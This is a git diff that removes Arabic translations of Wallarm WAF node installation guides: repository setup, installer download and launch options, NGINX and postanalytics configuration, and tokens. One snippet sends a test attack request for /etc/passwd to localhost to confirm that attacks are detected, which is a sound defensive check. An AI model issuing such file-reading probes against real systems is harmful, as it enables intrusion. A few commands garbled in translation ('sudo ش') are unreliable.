20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "أوبونتو 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "سينتوس 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "أمازون لينكس 2.0.2021 وأقل" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "ألما لينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-clean-machine.md b/include-ar/waf/installation/all-in-one-clean-machine.md deleted file mode 100644 index bc646f73f5..0000000000 --- a/include-ar/waf/installation/all-in-one-clean-machine.md +++ /dev/null @@ -1,13 +0,0 @@ -عند ترقية الوحدات 4.x باستخدام المثبت الشامل، لا يمكنك ترقية تثبيت الحزمة القديمة - بدلاً من ذلك، تحتاج إلى استخدام جهاز نظيف. وبالتالي، كالخطوة الأولى، جهّز جهازًا يعمل بأحد أنظمة التشغيل المدعومة: - -* ديبيان 10، و11، و12.x -* أوبونتو LTS 18.04، و20.04، و22.04 -* سنتوس 7، و8 ستريم، و9 ستريم -* ألما/روكي لينكس 9 -* RHEL 8.x -* أوراكل لينكس 8.x -* ريدوس -* سوزي لينكس -* غيرها (القائمة في توسع مستمر، اتصل بفريق دعم Wallarm على [support@wallarm.com](mailto:support@wallarm.com) للتحقق إذا كان نظام التشغيل الخاص بك ضمن القائمة) - -استخدام جهاز نظيف جديد سيؤدي إلى أنه في لحظة ما سيكون لديك كلاً من العقدة القديمة والجديدة، وهذا جيد: يمكنك اختبار عمل العقدة الجديدة بشكل صحيح دون إيقاف العقدة القديمة. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-download-4.6.md b/include-ar/waf/installation/all-in-one-installer-download-4.6.md deleted file mode 100644 index 0054cedcd0..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-download-4.6.md +++ /dev/null @@ -1,15 +0,0 @@ -تقترح Wallarm تثبيتات شاملة للمعالجات التالية: - -* x86_64 -* ARM64 (تجريبي) - -لتنزيل سكربت تثبيت Wallarm الشامل، نفذ الأمر: - -=== "نسخة x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.6/wallarm-4.6.16.x86_64-glibc.sh - ``` -=== "نسخة ARM64 (تجريبي)" - ```bash - curl -O https://meganode.wallarm.com/4.6/wallarm-4.6.16.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-download-4.8.md b/include-ar/waf/installation/all-in-one-installer-download-4.8.md deleted file mode 100644 index 1625b3a0a2..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-download-4.8.md +++ /dev/null @@ -1,15 +0,0 @@ -تقترح Wallarm تثبيتات شاملة للمعالجات التالية: - -* x86_64 -* ARM64 (تجريبي) - -لتحميل سكربت تثبيت Wallarm الشامل، قم بتنفيذ الأمر: - -=== "نسخة x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - ``` -=== "نسخة ARM64 (تجريبي)" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-download.md b/include-ar/waf/installation/all-in-one-installer-download.md deleted file mode 100644 index b15d4de58b..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-download.md +++ /dev/null @@ -1,15 +0,0 @@ -تقترح Wallarm تثبيتات شاملة للمعالجات التالية: - -* x86_64 -* ARM64 (تجريبي) - -لتنزيل سكريبت تثبيت Wallarm الشامل، نفذ الأمر: - -=== "نسخة x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.x86_64-glibc.sh - ``` -=== "نسخة ARM64 (تجريبي)" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-run-4.6.md b/include-ar/waf/installation/all-in-one-installer-run-4.6.md deleted file mode 100644 index cb8ef59380..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-run-4.6.md +++ /dev/null @@ -1,24 +0,0 @@ -1. تشغيل السكريبت المحمل: - - === "رمز API" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.16.x86_64-glibc.sh - - # إذا كنت تستخدم نسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.16.aarch64-glibc.sh - ``` - - يقوم متغير `WALLARM_LABELS` بتعيين المجموعة التي سيتم إضافة العقدة إليها (يُستخدم للتجميع المنطقي للعقد في واجهة مستخدم Wallarm Console). - - === "رمز العقدة" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo sh wallarm-4.6.16.x86_64-glibc.sh - - # إذا كنت تستخدم نسخة ARM64: - sudo sh wallarm-4.6.16.aarch64-glibc.sh - ``` - -1. اختر [سحابة الولايات المتحدة](https://us1.my.wallarm.com/) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/). -1. أدخل رمز Wallarm. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-run-4.8.md b/include-ar/waf/installation/all-in-one-installer-run-4.8.md deleted file mode 100644 index 61be9bad17..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-run-4.8.md +++ /dev/null @@ -1,24 +0,0 @@ -1. شغّل السكربت المُنزل: - - === "رمز API" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh - ``` - - تقوم متغير `WALLARM_LABELS` بتعيين المجموعة التي سيُضاف إليها العقدة (يُستخدم للتجميع المنطقي للعقد في واجهة مستخدم Wallarm Console). - - === "رمز العقدة" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo sh wallarm-4.8.10.x86_64-glibc.sh - - # إذا كنت تستخدم النسخة ARM64: - sudo sh wallarm-4.8.10.aarch64-glibc.sh - ``` - -1. اختر [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/). -1. أدخل رمز Wallarm. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-installer-run.md b/include-ar/waf/installation/all-in-one-installer-run.md deleted file mode 100644 index 7592710d67..0000000000 --- a/include-ar/waf/installation/all-in-one-installer-run.md +++ /dev/null @@ -1,24 +0,0 @@ -1. قم بتشغيل السكربت المُحمّل: - - === "رمز الواجهة البرمجية" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh - - # إذا كنت تستخدم نسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh - ``` - - المتغير `WALLARM_LABELS` يُحدد المجموعة التي سيُضاف إليها العقدة (يُستخدم لتجميع العقد بشكل منطقي في واجهة مستخدم وحدة تحكم Wallarm). - - === "رمز العقدة" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh - - # إذا كنت تستخدم نسخة ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh - ``` - -1. اختر [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/). -1. أدخل رمز Wallarm. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-nginx.md b/include-ar/waf/installation/all-in-one-nginx.md deleted file mode 100644 index 715c19e774..0000000000 --- a/include-ar/waf/installation/all-in-one-nginx.md +++ /dev/null @@ -1,32 +0,0 @@ -تثبيت أحدث نسخة من NGINX: - -* **NGINX `مستقر`** - راجع كيفية تثبيته في [التوثيق](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/) الخاص بـNGINX. -* **الإصدار الرئيسي لـNGINX** - راجع كيفية تثبيته في [التوثيق](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/) الخاص بـNGINX. -* **NGINX Plus** - راجع كيفية تثبيته في [التوثيق](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/) الخاص بـNGINX. -* **NGINX المقدم من التوزيعة** - للتثبيت، استخدم الأوامر التالية: - - === "Debian 10.x (buster)" - ```bash - sudo apt-get update - sudo apt -y install --no-install-recommends nginx - ``` - === "Debian 11.x (bullseye)" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "CentOS 7.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics-4.6.md b/include-ar/waf/installation/all-in-one-postanalytics-4.6.md deleted file mode 100644 index a8f000d61c..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics-4.6.md +++ /dev/null @@ -1,21 +0,0 @@ -لتثبيت postanalytics بشكل منفصل باستخدام المثبت all-in-one، استخدم: - -=== "رمز الواجهة البرمجية" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.16.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم نسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.16.aarch64-glibc.sh postanalytics - ``` - - تقوم متغير `WALLARM_LABELS` بتعيين المجموعة التي سيتم إضافة العقدة إليها (تُستخدم للتجميع المنطقي للعقد في واجهة مستخدم Wallarm Console). - -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo sh wallarm-4.6.16.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم نسخة ARM64: - sudo sh wallarm-4.6.16.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics-4.8.md b/include-ar/waf/installation/all-in-one-postanalytics-4.8.md deleted file mode 100644 index c221838d0e..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics-4.8.md +++ /dev/null @@ -1,21 +0,0 @@ -لتثبيت postanalytics بشكل منفصل باستخدام المثبت الشامل، استخدم: - -=== "رمز API" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` - - تقوم متغير `WALLARM_LABELS` بتعيين المجموعة التي سيتم إضافة العقدة إليها (يستخدم للتجميع المنطقي للعقد في واجهة مستخدم Wallarm Console). - -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم النسخة ARM64: - sudo sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics-check.md b/include-ar/waf/installation/all-in-one-postanalytics-check.md deleted file mode 100644 index 45dfb74bd0..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics-check.md +++ /dev/null @@ -1,33 +0,0 @@ -لفحص تفاعل وحدة NGINX‑Wallarm ووحدات تحليل بيانات الهجمات المنفصلة، يُمكنك إرسال طلب مع هجوم اختباري إلى عنوان التطبيق المحمي: - -```bash -curl http://localhost/etc/passwd -``` - -إذا تم تكوين وحدة NGINX‑Wallarm ووحدات تحليل بيانات الهجمات المنفصلة بشكل صحيح، سيتم تحميل الهجوم إلى سحابة Wallarm ويُعرض في قسم **الهجمات** بواجهة Wallarm: - -![الهجمات في الواجهة][img-attacks-in-interface] - -إذا لم يتم تحميل الهجوم إلى السحابة، يرجى التحقق من عدم وجود أخطاء في تشغيل الخدمات: - -* تحليل سجلات وحدة تحليل بيانات الهجمات - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/tarantool-out.log - ``` - - إذا كان هناك سجل مثل `SystemError binary: failed to bind: Cannot assign requested address`، تأكد من أن الخادم يقبل الاتصال على العنوان والمنفذ المحددين. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، تحليل سجلات NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - إذا كان هناك سجل مثل `[error] wallarm:
              connect() failed`، تأكد من تحديد عنوان وحدة تحليل بيانات الهجمات المنفصلة بشكل صحيح في ملفات تكوين وحدة NGINX‑Wallarm وأن خادم تحليل بيانات الهجمات المنفصل يقبل الاتصال على العنوان والمنفذ المحددين. -* على الخادم الذي يحتوي على وحدة NGINX‑Wallarm، احصل على إحصائيات الطلبات المعالجة باستخدام الأمر أدناه وتأكد من أن قيمة `tnt_errors` هي 0 - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [وصف جميع البارامترات المُعادة بواسطة خدمة الإحصائيات →][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics-reconnect.md b/include-ar/waf/installation/all-in-one-postanalytics-reconnect.md deleted file mode 100644 index c3a7c807e6..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics-reconnect.md +++ /dev/null @@ -1,41 +0,0 @@ -على الجهاز الذي يحتوي على وحدة NGINX-Wallarm، في [ملف التكوين](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) الخاص بـ NGINX، حدد عنوان خادم وحدة postanalytics: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitted - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* يجب تحديد قيمة `max_conns` لكل من خوادم Tarantool العليا لمنع إنشاء اتصالات زائدة. -* لا يجب أن تكون قيمة `keepalive` أقل من عدد خوادم Tarantool. -* يتم التعليق على سطر الأوامر `# wallarm_tarantool_upstream wallarm_tarantool;` بشكل افتراضي - يرجى حذف `#`. - -بمجرد تغيير ملف التكوين، أعد تشغيل NGINX/NGINX Plus على جهاز وحدة NGINX-Wallarm: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics-remove-old.md b/include-ar/waf/installation/all-in-one-postanalytics-remove-old.md deleted file mode 100644 index 6d30af60ae..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics-remove-old.md +++ /dev/null @@ -1,27 +0,0 @@ -1. احذف وحدة تحليلات المشاركات القديمة في واجهة Wallarm → **العقد** بتحديد عقدة وحدة تحليلات المشاركات الخاصة بك والنقر على **حذف**. -1. أكد العملية. - - عند حذف عقدة وحدة تحليلات المشاركات من السحابة، ستتوقف عن المشاركة في تصفية طلبات تطبيقاتك. لا يمكن التراجع عن الحذف. سيتم حذف عقدة وحدة تحليلات المشاركات نهائيًا من قائمة العقد. - -1. احذف الجهاز الذي يحتوي على وحدة تحليلات المشاركات القديمة أو فقط نظفه من مكونات وحدة تحليلات المشاركات Wallarm: - - === "Debian" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-postanalytics.md b/include-ar/waf/installation/all-in-one-postanalytics.md deleted file mode 100644 index 37f73f0b57..0000000000 --- a/include-ar/waf/installation/all-in-one-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -لتنصيب postanalytics بشكل منفصل مع المثبت الشامل، استخدم: - -=== "رمز API" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم نسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh postanalytics - ``` - - تضبط متغيرة `WALLARM_LABELS` المجموعة التي سيتم إضافة العقدة إليها (تستخدم للتجميع المنطقي للعقد في واجهة مستخدم Wallarm Console). - -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم نسخة x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh postanalytics - - # إذا كنت تستخدم نسخة ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-requirements.md b/include-ar/waf/installation/all-in-one-requirements.md deleted file mode 100644 index 301c8e9c62..0000000000 --- a/include-ar/waf/installation/all-in-one-requirements.md +++ /dev/null @@ -1,19 +0,0 @@ -* وجود حساب بدور **المدير** في وحدة تحكم Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/). -* الأنظمة التشغيلية المدعومة: - - * ديبيان 10، 11 و12.x - * أوبونتو LTS 18.04، 20.04، 22.04 - * CentOS 7، 8 Stream، 9 Stream - * ألما/روكي لينكس 9 - * RHEL 8.x - * أوراكل لينكس 8.x - * ريدوس - * سوزي لينكس - * أخرى (القائمة في توسع مستمر، تواصل مع [فريق دعم Wallarm](mailto:support@wallarm.com) للتحقق إذا كان نظامك التشغيلي مدرجًا في القائمة) - -* الوصول إلى `https://meganode.wallarm.com` لتحميل مثبت Wallarm الشامل. تأكد من عدم حجب الوصول بواسطة جدار الحماية. -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، استخدم [التعليمات][configure-proxy-balancer-instr]. -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تنفيذ جميع الأوامر كمستخدم ذو صلاحيات عليا (مثل `root`). \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-token.md b/include-ar/waf/installation/all-in-one-token.md deleted file mode 100644 index bf7b139161..0000000000 --- a/include-ar/waf/installation/all-in-one-token.md +++ /dev/null @@ -1,14 +0,0 @@ -لتثبيت العقدة، ستحتاج إلى رمز Wallarm من ال[نوع المناسب][wallarm-token-types]. لتجهيز رمز: - -=== "رمز API" - - 1. افتح واجهة Wallarm → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور مصدر `Deploy`. - 1. انسخ هذا الرمز. - -=== "رمز العقدة" - - 1. افتح واجهة Wallarm → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى الخطوات التالية: - * أنشئ عقدة من نوع **عقدة Wallarm** وانسخ الرمز المولّد. - * استخدم مجموعة عقد موجودة - انسخ الرمز باستخدام قائمة العقدة → **نسخ الرمز**. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one-upgrade-requirements.md b/include-ar/waf/installation/all-in-one-upgrade-requirements.md deleted file mode 100644 index e70d1fce84..0000000000 --- a/include-ar/waf/installation/all-in-one-upgrade-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** في لوحة تحكم Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/). -* الوصول إلى `https://meganode.wallarm.com` لتنزيل مُثَبِّت Wallarm الشامل. تأكد من عدم حظر الوصول بواسطة جدار الحماية. -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر الخادم الوكيل فقط، استخدم [التعليمات][configure-proxy-balancer-instr]. -* تنفيذ جميع الأوامر كمستخدم متميز (مثل `root`). \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one/launch-options-4.8.md b/include-ar/waf/installation/all-in-one/launch-options-4.8.md deleted file mode 100644 index 1157b291b7..0000000000 --- a/include-ar/waf/installation/all-in-one/launch-options-4.8.md +++ /dev/null @@ -1,90 +0,0 @@ -فور تحميل السكريبت المتكامل، يمكنك الحصول على المساعدة به باستخدام: - -``` -sudo sh ./wallarm-4.8.10.x86_64-glibc.sh -- -h -``` - -الذي يعيد: - -``` -... -الاستخدام: setup.sh [خيارات]... [وسيطات]... [تصفية/بعدالتحليل] - -الخيار الوصف --b, --batch الوضع الدفعي، تثبيت غير تفاعلي. - --install-only يبدأ المرحلة الأولى من المثبت المتكامل في الوضع الدفعي. ينسخ الإعدادات الأساسية، بما في ذلك الملفات والثنائيات، ويقوم بإعداد NGINX لتثبيت العقدة، متخطيًا تسجيل وتنشيط السحابة. يتطلب --batch. - --skip-ngx-config يتجنب التغييرات التلقائية في تكوين NGINX التي تحدث أثناء مرحلة --install-only في الوضع الدفعي، مناسب للمستخدمين الذين يفضلون التعديلات اليدوية لاحقًا. عند استخدامه مع --install-only، يضمن فقط نسخ الإعدادات الأساسية دون تغيير إعدادات NGINX. يتطلب --batch. - --register-only يبدأ المرحلة الثانية من المثبت المتكامل في الوضع الدفعي، مكملاً الإعداد بتسجيل العقدة في السحابة وبدء خدمتها. يتطلب --batch. --t, --token TOKEN رمز العقدة، مطلوب في وضع الدفعي. --c, --cloud CLOUD سحابة Wallarm، أحد الخيارين US/EU، الافتراضي هو EU، يُستخدم فقط في الوضع الدفعي. --H, --host HOST عنوان واجهة برمجة تطبيقات Wallarm، على سبيل المثال، api.wallarm.com أو us1.api.wallarm.com، يُستخدم فقط في الوضع الدفعي. --P, --port PORT منفذ واجهة برمجة تطبيقات Wallarm، على سبيل المثال، 443. - --no-ssl تعطيل SSL لوصول واجهة برمجة تطبيقات Wallarm. - --no-verify تعطيل التحقق من شهادات SSL. --f, --force إذا كانت هناك عقدة بنفس الاسم، قم بإنشاء نسخة جديدة. --h, --help - --version -``` - -### الوضع الدفعي - -يتسبب خيار `--batch` بتشغيل الوضع **الدفعي (غير التفاعلي)**، حيث يتطلب السكريبت خيارات الإعداد عبر العلامات `--token` و`--cloud`، إلى جانب متغير البيئة `WALLARM_LABELS` إذا لزم الأمر. في هذا الوضع، لا يطلب السكريبت من المستخدم إدخال البيانات خطوة بخطوة كما في الوضع الافتراضي؛ بل يتطلب أوامر صريحة للتفاعل. - -أدناه أمثلة لأوامر تشغيل السكريبت في الوضع الدفعي لتثبيت العقدة، بفرض أن السكريبت قد تم [تحميله][download-aio-step] بالفعل: - -=== "سحابة US" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t -c US - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "سحابة EU" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t - ``` - -### تنفيذ مراحل تثبيت العقدة بشكل منفصل - -عند إعداد صورة جهازك الخاص باستخدام المثبت المتكامل لبنية السحابة، قد لا يكفي عملية التثبيت القياسية الموضحة في هذا المقال. بدلاً من ذلك، ستحتاج إلى تنفيذ مراحل معينة من المثبت المتكامل بشكل منفصل للتناسب مع متطلبات إنشاء ونشر صورة جهاز: - -1. بناء صورة الجهاز: في هذه المرحلة، من الضروري تحميل الثنائيات، المكتبات، وملفات التكوين لعقدة التصفية وإنشاء صورة جهاز بناءً عليها. باستخدام علامة `--install-only`، يقوم السكريبت بنسخ الملفات المطلوبة وتعديل تكوينات NGINX لتشغيل العقدة. إذا كنت ترغب في إجراء تعديلات يدوية، يمكنك اختيار تجاوز تعديل ملف NGINX عن طريق استخدام علامة `--skip-ngx-config`. -1. تهيئة نسخة سحابية مع cloud-init: خلال تهيئة النسخة، يمكن تنفيذ مرحلة الإعداد الأولي (تسجيل السحابة وبدء الخدمة) باستخدام سكريبتات cloud-init. يمكن تشغيل هذه المرحلة بشكل مستقل عن مرحلة البناء بتطبيق علامة `--register-only` على السكريبت `/opt/wallarm/setup.sh` المنسوخة خلال مرحلة البناء. - -هذه الوظيفة مدعومة ابتداءً من الإصدار 4.8.8 للمثبت المتكامل في الوضع الدفعي. الأوامر أدناه تمكن التنفيذ المتتالي للخطوات الموضحة: - -=== "سحابة US" - ```bash - # إذا كنت تستخدم النسخة x86_64: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo sh wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # إذا كنت تستخدم النسخة ARM64: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo sh wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "سحابة EU" - ``` - # إذا كنت تستخدم النسخة x86_64: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo ش wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # إذا كنت تستخدم النسخة ARM64: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo ش wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -وأخيرًا، لإكمال التثبيت، تحتاج إلى [تفعيل Wallarm لتحليل الحركة][enable-traffic-analysis-step] و[إعادة تشغيل NGINX][restart-nginx-step]. - -### تثبيت مكونات التصفية وبعدالتحليل بشكل منفصل - -توفر خيارات التبديل للتصفية/بعدالتحليل الخيار لتثبيت وحدة بعدالتحليل [بشكل منفصل][separate-postanalytics-installation-aio]. بدون هذا الخيار، يتم تثبيت كل من مكونات التصفية وبعدالتحليل معًا بشكل افتراضي. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one/launch-options.md b/include-ar/waf/installation/all-in-one/launch-options.md deleted file mode 100644 index 6bd36e5cc4..0000000000 --- a/include-ar/waf/installation/all-in-one/launch-options.md +++ /dev/null @@ -1,90 +0,0 @@ -بمجرد تحميل السكربت المتكامل، يمكنك الحصول على المساعدة عليه باستخدام: - -``` -sudo sh ./wallarm-4.10.2.x86_64-glibc.sh -- -h -``` - -الذي يعيد: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch الوضع دفعي، تثبيت غير تفاعلي. - --install-only يبدأ المرحلة الأولى من المثبت المتكامل في الوضع الدفعي. ينسخ الإعدادات الأساسية، بما في ذلك الملفات والثنائيات، ويقوم بإعداد NGINX لتثبيت العقدة، متجاوزاً تسجيل وتفعيل السحابة. يتطلب --batch. - --skip-ngx-config يتجنب التغييرات التلقائية في إعدادات NGINX التي تحدث أثناء مرحلة --install-only في الوضع الدفعي، مناسب للمستخدمين الذين يفضلون التعديلات اليدوية لاحقاً. عند استخدامه مع --install-only، يضمن نسخ الإعدادات الأساسية فقط بدون تغيير إعدادات NGINX. يتطلب --batch. - --register-only يبدأ المرحلة الثانية من المثبت المتكامل في الوضع الدفعي، مكملاً الإعداد بتسجيل العقدة في 